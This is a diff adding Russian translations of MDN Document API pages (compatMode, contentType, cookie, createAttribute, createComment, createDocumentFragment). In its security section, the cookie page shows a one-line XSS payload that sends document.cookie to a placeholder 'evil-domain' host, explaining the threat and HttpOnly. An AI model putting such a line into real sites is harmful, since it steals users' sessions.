+<dl>
+ <dt><code>mode</code></dt>
+ <dd>Исчислимая величина, которая может быть:</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание</strong>: все эти режимы внесены в стандарт, поэтому старые названия "standards" и "almost standards" теперь бессмысленны и не используются.</p>
+</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">if (document.compatMode == "BackCompat") {
+  // в Quirks режиме
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://dom.spec.whatwg.org/#dom-document-compatmode" title="http://dom.spec.whatwg.org/#dom-document-compatmode">DOM: Document.compatMode</a></li>
+</ul>
diff --git a/files/ru/web/api/document/contenttype/index.html b/files/ru/web/api/document/contenttype/index.html
new file mode 100644
index 0000000000..78f90fc116
--- /dev/null
+++ b/files/ru/web/api/document/contenttype/index.html
@@ -0,0 +1,23 @@
+---
+title: Document.contentType
+slug: Web/API/Document/contentType
+translation_of: Web/API/Document/contentType
+---
+<p>{{ ApiRef("DOM") }}{{Non-standard_header}}</p>
+
+<p>Возвращает MIME-тип при рендеринге страницы. Информация может поступать из заголовка HTTP или других ресурсов MIME.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><var>contentType</var> = <var>document</var>.contentType;
+</pre>
+
+<p>Свойство contentType доступно только для чтения.</p>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Свойство не влияет на МЕТА теги.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p>Не является стандартом, поддерживается только <a href="/en-US/docs/Gecko/Embedding_Mozilla/FAQ/Embedding_Gecko">Gecko</a>. Для использования только в отладчике chrome (<a href="/en/Extensions">Extensions</a> и XUL Mozilla Firefox).</p>
diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html
new file mode 100644
index 0000000000..286bb779f8
--- /dev/null
+++ b/files/ru/web/api/document/cookie/index.html
@@ -0,0 +1,360 @@
+---
+title: Document.cookie
+slug: Web/API/Document/cookie
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - JS
+  - cookie
+translation_of: Web/API/Document/cookie
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Статья описывает получение и установку cookies связанных с текущим документом. Общая библиотека для работы с  cookies смотри<a href="/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework"> simple cookie framework</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Чтение_всех_cookies_связанных_с_текущим_документом">Чтение всех cookies, связанных с текущим документом</h3>
+
+<pre class="syntaxbox notranslate"><em>allCookies</em> = <em>document</em>.cookie;</pre>
+
+<p>In the code above <var>allCookies</var> is a string containing a semicolon-separated list of all cookies (i.e. <code><var>key</var>=<var>value</var></code> pairs). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a> mandates a single space after each semicolon, but some user agents may not abide by this.</p>
+
+<h3 id="Запись_новой_cookie">Запись новой cookie</h3>
+
+<pre class="syntaxbox notranslate" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre>
+
+<p>В приведенном коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод.  Стоит отметить, что:</p>
+
+<ul>
+ <li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
+  <ul>
+   <li id="new-cookie_path">
+    <p><code>;path=<var>path</var></code> (e.g., '<code>/</code>', '<code>/mydir</code>') If not specified, defaults to the current path of the current document location.</p>
+
+    <div class="blockIndicator note">
+    <p><strong>Note:</strong> Prior to {{Gecko("6.0")}}, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.</p>
+    </div>
+
+    <p>The path must be <strong>absolute</strong> (see <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>). For more information on how to use relative paths, see <a href="https://developer.mozilla.org/ru/docs/Web/API/Document/cookie$edit#Using_relative_URLs_in_the_path_parameter">this paragraph</a>.</p>
+   </li>
+   <li id="new-cookie_domain"><code>;domain=<var>domain</var></code> (e.g., '<code>example.com</code>' or '<code>subdomain.example.com</code>'). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included.</li>
+   <li id="new-cookie_max-age"><code>;max-age=<var>max-age-in-seconds</var></code> (e.g., <code>60*60*24*365</code> or 31536000 for a year)</li>
+   <li id="new-cookie_expires"><code>;expires=<var>date-in-GMTString-format</var></code> If neither <code>expires</code> nor <code>max-age</code>specified it will expire at the end of session.
+    <div class="blockIndicator warning">
+    <p>When user privacy is a concern, It is important that any web app implementation will invalidate cookie data after a certain timeout and won't rely on the browser clearing session cookies<br>
+     <small>One of the most beloved features of Firefox <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=345345">prevents session cookies from ever expiring</a>.<br>
+     The same <a href="https://code.google.com/p/chromium/issues/detail?id=128513">issue</a> is also occuring with google chrome (and probably with other browsers offering similar features)</small></p>
+    </div>
+
+    <ul>
+     <li>See {{jsxref("Date.toUTCString()")}} for help formatting this value.</li>
+    </ul>
+   </li>
+   <li id="new-cookie_secure"><code>;secure</code> Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.</li>
+   <li id="new-cookie_samesite"><code>;samesite</code> <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite</a> prevents the browser from sending this cookie along with cross-site requests. Possible values for the flag are <code>lax</code> or <code>strict</code>.
+    <ul>
+     <li>The <code>strict</code> value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing context, even when following a regular link.</li>
+     <li>The <code>lax</code> value will only send cookies for TOP LEVEL navigation GET requests. This is sufficient for user tracking, but it will prevent many CSRF attacks.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>The cookie value string can use {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).</li>
+ <li>Some user agent implementations support the following cookie prefixes:
+  <ul>
+   <li><code>__Secure-</code> Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.</li>
+   <li><code>__Host-</code> Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.</li>
+  </ul>
+
+  <div class="blockIndicator note">
+  <p>The dash is considered part of the prefix.</p>
+  </div>
+
+  <div class="blockIndicator note">
+  <p>These flags are only setable with the <code>secure</code> attribute.</p>
+  </div>
+ </li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> As you can see from the code above, <code>document.cookie</code> is an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">accessor property</a> with native <em>setter</em> and <em>getter</em> functions, and consequently is <strong>not</strong> a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">data property</a> with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1_Простое_использование">Пример #1: Простое использование</h3>
+
+<pre class="brush: js notranslate">document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookie()"&gt;Show cookies&lt;/button&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p>
+
+<h3 id="Пример_2_Получить_cookie_с_именем_test2">Пример #2: Получить cookie с именем <em>test2</em></h3>
+
+<pre class="brush: js notranslate">document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookieValue()"&gt;Show cookie value&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p>
+
+<h3 id="Пример_3_Выполнить_операцию_единожды">Пример #3: Выполнить операцию единожды</h3>
+
+<p>При использовании следующего кода замените все вхождения <code>doSomethingOnlyOnce</code> (наименование cookie) на другое имя.</p>
+
+<pre class="brush: js notranslate">function doOnce() {
+  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="doOnce()"&gt;Only do something once&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p>
+
+<h3 id="Пример_4_Перезагрузить_cookie">Пример #4: Перезагрузить cookie</h3>
+
+<pre class="brush: js notranslate">function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="resetOnce()"&gt;Reset only once cookie&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}</p>
+
+<h3 id="Example_5_Проверить_существование_cookie">Example #5: Проверить существование cookie</h3>
+
+<pre class="notranslate"><code>//ES5
+
+if (document.cookie.split(';').filter(function(item) {
+    return item.trim().indexOf('reader=') == 0
+}).length) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').filter((item) =&gt; item.trim().startsWith('reader=')).length) {
+    console.log('The cookie "reader" exists (ES6)')
+}</code></pre>
+
+<h3 id="Example_6_Проверить_что_cookie_имеет_определенное_значение">Example #6: Проверить, что cookie имеет определенное значение</h3>
+
+<pre class="notranslate"><code>//ES5
+
+if (document.cookie.split(';').filter(function(item) {
+    return item.indexOf('reader=1') &gt;= 0
+}).length) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').filter((item) =&gt; item.includes('reader=1')).length) {
+    console.log('The cookie "reader" has "1" for value')
+}</code></pre>
+
+<h2 id="Безопасность">Безопасность</h2>
+
+<p>It is important to note that the path attribute does <strong>not</strong> protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden <a href="/en-US/docs/HTML/Element/iframe">iframe</a> element with the path of the cookie, then accessing this iframe's <code>contentDocument.cookie</code> property. The only way to protect the cookie is by using a different domain or subdomain, due to the <a href="/en-US/docs/Same_origin_policy_for_JavaScript">same origin policy</a>.</p>
+
+<p>Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p>
+
+<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+</pre>
+
+<p>The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p>
+
+<h2 id="Заметки">Заметки</h2>
+
+<ul>
+ <li>Starting with Firefox 2, a better mechanism for client-side storage is available - <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a>.</li>
+ <li>You can delete a cookie by simply updating its expiration time to zero.</li>
+ <li>Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a> if you are going to keep "client-only" data.</li>
+ <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a> (Section 5.3, "Implementation Limits") specifies that there should be <strong>no maximum length</strong> of a cookie's key or value size, and encourages implementations to support <strong>arbitrarily large cookies</strong>. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.</li>
+</ul>
+
+<p>The reason of the <a href="#Syntax">syntax</a> of the <code>document.cookie</code> accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>):</p>
+
+<h5 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h5>
+
+<pre class="eval notranslate">HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]</pre>
+
+<h5 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h5>
+
+<pre class="eval notranslate">GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+</pre>
+
+<h3 id="Использование_относительных_ссылок_в_параметре_path">Использование относительных ссылок в параметре path</h3>
+
+<p>The <a href="#new-cookie_path"><code>path</code></a> parameter of a new cookie can accept only <em>absolute</em> paths. If you want to use <em>relative</em> paths, therefore, you need to convert them. The following function can translate <em>relative</em> paths to <em>absolute</em> paths. It is a general-purpose function, but can be of course successifully used for the <a href="#new-cookie_path"><code>path</code></a> parameter of a new cookie, as well.</p>
+
+<h5 id="Library">Library</h5>
+
+<pre class="brush: js notranslate">/*\
+|*|
+|*|  :: Translate relative paths to absolute paths ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  The following code is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+function relPathToAbs (sRelPath) {
+  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
+  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd &gt; -1; nStart = nEnd + nUpLn) {
+    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
+    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
+  }
+  return sDir + sPath.substr(nStart);
+}</pre>
+
+<h5 id="Sample_usage">Sample usage</h5>
+
+<pre class="brush: js notranslate">/* Let us be in /en-US/docs/Web/API/document.cookie */
+
+alert(location.pathname);
+// displays: /en-US/docs/Web/API/document.cookie
+
+alert(relPathToAbs("./"));
+// displays: /en-US/docs/Web/API/
+
+alert(relPathToAbs("../Guide/API/DOM/Storage"));
+// displays: /en-US/docs/Web/Guide/API/DOM/Storage
+
+alert(relPathToAbs("../../Firefox"));
+// displays: /en-US/docs/Firefox
+
+alert(relPathToAbs("../Guide/././API/../../../Firefox"));
+// displays: /en-US/docs/Firefox</pre>
+
+<h3 id="Относительный_срок_годности_cookie_числовые_примеры">Относительный срок годности cookie: числовые примеры</h3>
+
+<p>If you don't want to use an <em>absolute date</em> for the <code>end</code> parameter, here you can find some numeric examples of expiration-dates <em>relative to the moment of storage of the cookie</em>:</p>
+
+<pre class="brush: js notranslate">docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
+docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK
+docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days)
+docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR</pre>
+
+<h2 id="Другие_примеры">Другие примеры</h2>
+
+<h3 id="Example_5_Do_something_only_once_–_a_general_library">Example #5: Do something only once – <em>a general library</em></h3>
+
+<h4 id="Библиотека">Библиотека</h4>
+
+<pre class="notranslate"><code>function executeOnce () {
+  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
+  if (bImplGlob) { argc++; }
+  if (argc &lt; 3) { throw new TypeError("executeOnce - not enough arguments"); }
+  var fExec = arguments[0], sKey = arguments[argc - 2];
+  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
+  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
+  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&amp;") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
+  fExec.apply(argc &gt; 3 ? arguments[1] : null, argc &gt; 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
+  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
+  return true;
+}</code></pre>
+
+<h4 id="Синтаксис_2">Синтаксис</h4>
+
+<pre class="notranslate">executeOnce(<var>callback</var>[, <var>thisObject</var>[, <var>argumentToPass1</var>[, <var>argumentToPass2</var>[, …[, <var>argumentToPassN</var>]]]]], <var>identifier</var>[, <var>onlyHere</var>])</pre>
+
+<h4 id="Описание">Описание</h4>
+
+<p>Executes a function only once, even after the refresh of the page.</p>
+
+<h4 id="Параметры">Параметры</h4>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>The function to be executed ({{jsxref("function", "", "", "1")}}).</dd>
+ <dt><code>thisObject</code> Optional</dt>
+ <dd>The {{jsxref("Operators/this", "this")}} object ({{jsxref("Object", "", "", "1")}} or {{jsxref("Global_Objects/null", "null")}}).</dd>
+ <dt><code>argumentToPass1, argumentToPass2, argumentToPassN</code> Optional</dt>
+ <dd>The arguments of the <code>callback</code> function.</dd>
+ <dt><code>identifier</code></dt>
+ <dd>The identifier to check, i.e. the name of the cookie ({{jsxref("String", "string", "", "1")}})</dd>
+ <dt><code>onlyHere</code> Optional</dt>
+ <dd>A {{jsxref("Boolean", "boolean", "", "1")}} expressing whether the cookie will use the local path (<code>true</code>) instead of the global one (<code>false</code> or <code>undefined</code>) ({{jsxref("Boolean", "boolean", "", "1")}} or {{jsxref("Global_Objects/undefined", "undefined")}})</dd>
+</dl>
+
+<h4 id="Примеры_использования">Примеры использования</h4>
+
+<pre class="notranslate"><code>function alertSomething (sMsg) {
+  alert(sMsg);
+}
+
+executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Cookie Prefixes")}}</td>
+   <td>{{Spec2("Cookie Prefixes")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.cookie")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">DOM Storage</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/URLUtils.pathname"><code>URLUtils.pathname</code></a></li>
+ <li>{{jsxref("Date.toUTCString()")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP"><code>HTTP</code></a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Code_snippets/Cookies">Cookies (code snippets)</a></li>
+ <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a></li>
+</ul>
diff --git a/files/ru/web/api/document/createattribute/index.html b/files/ru/web/api/document/createattribute/index.html
new file mode 100644
index 0000000000..97cbba7120
--- /dev/null
+++ b/files/ru/web/api/document/createattribute/index.html
@@ -0,0 +1,86 @@
+---
+title: Document.createAttribute()
+slug: Web/API/Document/createAttribute
+translation_of: Web/API/Document/createAttribute
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Метод <code><strong>Document.createAttribute()</strong></code> создает новый атрибут узла и возвращает его.  Созданный объект узла реализует {{domxref("Attr")}} интерфейс . <span style='background-color: #f5f5f5; color: #333333; display: inline !important; float: none; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>DOM не указывает, какие атрибуты могут быть добавлены к определенному элементу таким способом.</span></p>
+
+<div class="note">
+<p>Строка, заданная в параметре, преобразуется в нижний регистр.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>attribute</em> = document.createAttribute(name)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<ul>
+ <li><code>name</code> строка, содержащая имя атрибута.</li>
+</ul>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("Attr")}} node.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>INVALID_CHARACTER_ERR</code> если параметр содержит недопустимые символы для атрибута XML.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var node = document.getElementById("div1");
+var a = document.createAttribute("my_attrib");
+a.value = "newVal";
+node.setAttributeNode(a);
+console.log(node.getAttribute("my_attrib")); // "newVal"
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-document-createattribute','Document.createAttribute()')}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Точное поведение с прописными символами</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-core.html#ID-1084891198','Document.createAttribute()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.createAttribute")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Document.createElement()")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/createcomment/index.html b/files/ru/web/api/document/createcomment/index.html
new file mode 100644
index 0000000000..998d803e64
--- /dev/null
+++ b/files/ru/web/api/document/createcomment/index.html
@@ -0,0 +1,44 @@
+---
+title: Document.createComment()
+slug: Web/API/Document/createComment
+translation_of: Web/API/Document/createComment
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<h2 id="Summary" name="Summary"><span class="short_text" id="result_box" lang="ru"><span class="hps">Основное</span></span></h2>
+
+<p><code>createComment()</code> создаёт новый комментарий и возвращает его.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>CommentNode</em> = document.createComment(data)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Аргументы</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Строка, которая будет внутри комментария</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var docu = new DOMParser().parseFromString('&lt;xml&gt;&lt;/xml&gt;',  "application/xml");
+var comment = docu.createComment('Это комментарий на странице');
+
+docu.getElementsByTagName('xml')[0].appendChild(comment);
+
+alert(new XMLSerializer().serializeToString(docu));
+// Выведет: &lt;xml&gt;&lt;!--Это комментарий на странице--&gt;&lt;/xml&gt;</pre>
+
+<h2 id="Notes" name="Notes"><span class="short_text" id="result_box" lang="ru"><span class="hps">Примечания</span></span></h2>
+
+<ul>
+ <li>Вернёт <strong><code>NS_ERROR_DOM_INVALID_CHARACTER_ERR</code></strong>,  если "--" есть в содержимом тега.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-createComment">createComment</a></li>
+</ul>
diff --git a/files/ru/web/api/document/createdocumentfragment/index.html b/files/ru/web/api/document/createdocumentfragment/index.html
new file mode 100644
index 0000000000..adc966e765
--- /dev/null
+++ b/files/ru/web/api/document/createdocumentfragment/index.html
@@ -0,0 +1,137 @@
+---
+title: Document.createDocumentFragment()
+slug: Web/API/Document/createDocumentFragment
+translation_of: Web/API/Document/createDocumentFragment
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Создает новый пустой {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>fragment</var> = document.createDocumentFragment();
+</pre>
+
+<p><code>fragment</code> это ссылка на пустой объект {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>DocumentFragment</code>s являются DOM нодами. Они, при этом, не являются частями основного дерева DOM. Обычно используются для создания фрагмента документа, добавления в него новых элементов/нод, а затем присоединения этого фрагмента к основному дереву. В основном дереве фрагмент буден заменён собственными дочерними элементами.</p>
+
+<p>Поскольку фрагмент документа хранится <strong>в памяти</strong> и не является частью основного дерева, добавление в него дочерних элементов не вызывает <a href="https://developers.google.com/speed/articles/reflow?csw=1">reflow</a> (вычисление геометрии и позиций элементов). В следствие этого, использование фрагментов документа часто <a href="http://ejohn.org/blog/dom-documentfragments/">увеличивает производительность</a>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var element  = document.getElementById('ul'); // assuming ul exists
+var fragment = document.createDocumentFragment();
+var browsers = ['Firefox', 'Chrome', 'Opera',
+    'Safari', 'Internet Explorer'];
+
+browsers.forEach(function(browser) {
+    var li = document.createElement('li');
+    li.textContent = browser;
+    fragment.appendChild(li);
+});
+
+element.appendChild(fragment);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Clarifies that the node document of the created document fragment is the context object.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
